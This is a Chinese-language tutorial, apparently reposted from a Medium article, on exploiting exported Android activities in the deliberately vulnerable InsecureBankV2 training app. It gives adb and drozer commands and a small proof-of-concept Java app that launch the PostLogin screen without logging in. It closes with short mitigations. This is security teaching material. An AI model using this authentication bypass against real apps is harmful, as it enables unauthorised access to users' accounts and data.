Activities Exploiting 技术
在本文中,我将详细解释如何利用安卓Activity组件的各种方式。让我们直接进入正题吧……
什么是Activity?
什么是Activity?
-
Activity是Android应用程序中的基本组件之一。
-
它代表一个带有用户界面的单独屏幕,用户可以在该界面上进行交互。
-
Activity负责管理用户界面的生命周期,并处理用户输入。
-
在Android应用中,每个屏幕都通过一个独立的Activity类实现。
-
开发者可以使用XML和Java或Kotlin代码来自定义Activity。
-
它还负责管理应用的流程和导航,确保用户在不同界面间流畅切换。
Exported Activity
Exported Activities是指可以被其他应用程序启动的Activity。
默认情况下,Activity是无法被其他应用程序访问的,除非在应用配置中明确指定。
Exported Activities可以通过在AndroidManifest.xml文件中添加如下代码进行设置:
<manifestxmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.myapp">
<application>
<activity
android:name=".ExportedActivity"
android:exported="true">
<!-- 如果有的话,Intent过滤器 -->
</activity>
</application>
</manifest>
虽然Exported Activities在Android应用中可能非常有用,但如果实现不当,也可能带来安全风险。
当在AndroidManifest.xml文件中将Activity的 exported
属性设置为 true
时,意味着该Activity可以被设备上的其他应用程序启动;如果设置为 false
,则无法被其他应用启动。
为了更好地演示这个问题,我将使用InsecureBankV2漏洞应用程序进行测试。
在安装应用并使用jadx进行反编译(当然你可以使用其他工具),通过搜索 exported
关键字,我发现该应用程序有三个Activity被导出,其中一个叫做PostLogin。
考虑到这一点,我们实际上可以绕过DoLogin活动,直接跳转到PostLogin活动,而无需在应用中进行身份验证。
要利用这个exported activity,我们需要安装adb并使用一个模拟器。
在我的案例中,我将使用我的可信赖的、为了便宜的安卓游戏而设计的BlueStacks模拟器。
在通过adb shell获取模拟器的shell之后,我们可以使用 "am"(Activity Manager)命令,这个命令允许我们通过终端调用活动以及执行其他操作。
为了调用我们的PostLogin活动:
am start -n com.android.insecurebankv2/.PostLogin
# am start -n packagename/.activityname
我们还可以启动DoTransfer和ViewStatement活动。
此外,我们也可以使用drozer来启动这些exported activities。
什么是drozer?
Drozer是由FSecureLABS开发的Android应用安全测试框架,旨在帮助测试人员更轻松地创建测试用例并对Android应用进行安全评估。
请注意,您需要在计算机上安装Drozer工具,并在模拟器上安装Drozer Agent。
要通过drozer启动PostLogin活动,可以使用以下命令:
run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.PostLogin
#run app.activity.start --component package_name component_name
以上提供的利用Activities的方式是不错的,但在现实生活中并不适用,因为我们(攻击者)无法访问用户的手机shell,因此无法运行shell命令。
最后一种与现实生活场景相关的方法是实际开发一个Android应用程序,触发一个Intent,以启动InsecureBankv2应用的exported activity。
package com.example.application;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
publicclass launchVulnIntent extendsAppCompatActivity{
@Override
protectedvoid onCreate(Bundle savedInstanceState){
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_launch_vuln_intent);
}
// 单击触发时运行的函数
publicvoid triggerIntent(View view){
Intent launch =newIntent(Intent.ACTION_SEND);
launch.setClassName("com.android.insecurebankv2","com.android.insecurebankv2.PostLogin");
startActivity(launch);
}
}
对应的XML布局文件为:
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayoutxmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context=".launchVulnIntent">
<Button
android:id="@+id/triggerLaunch"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Trigger Me If YOU Can"
android:onClick="triggerIntent"
tools:ignore="MissingConstraints"/>
</androidx.constraintlayout.widget.ConstraintLayout>
这段代码基本上会在按钮被点击时触发 triggerIntent
函数,从而激活一个指向我们脆弱的exported activity的Intent,允许我们直接访问它。
这将是一个很好的POC(概念验证
缓解措施:
-
除非你确实希望导出Activity,否则将“android”设置为“false”。
-
如果确实需要导出,确保限制可以访问该Activity的应用程序。
The end
谢谢你的阅读,希望你喜欢这篇文章。❤
Thanks for src: https://medium.com/@0xkenway/exploiting-android-activities-f398a796e021
原文始发于微信公众号(一个不正经的黑客):Android活动(Activities)Exploiting 技术
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论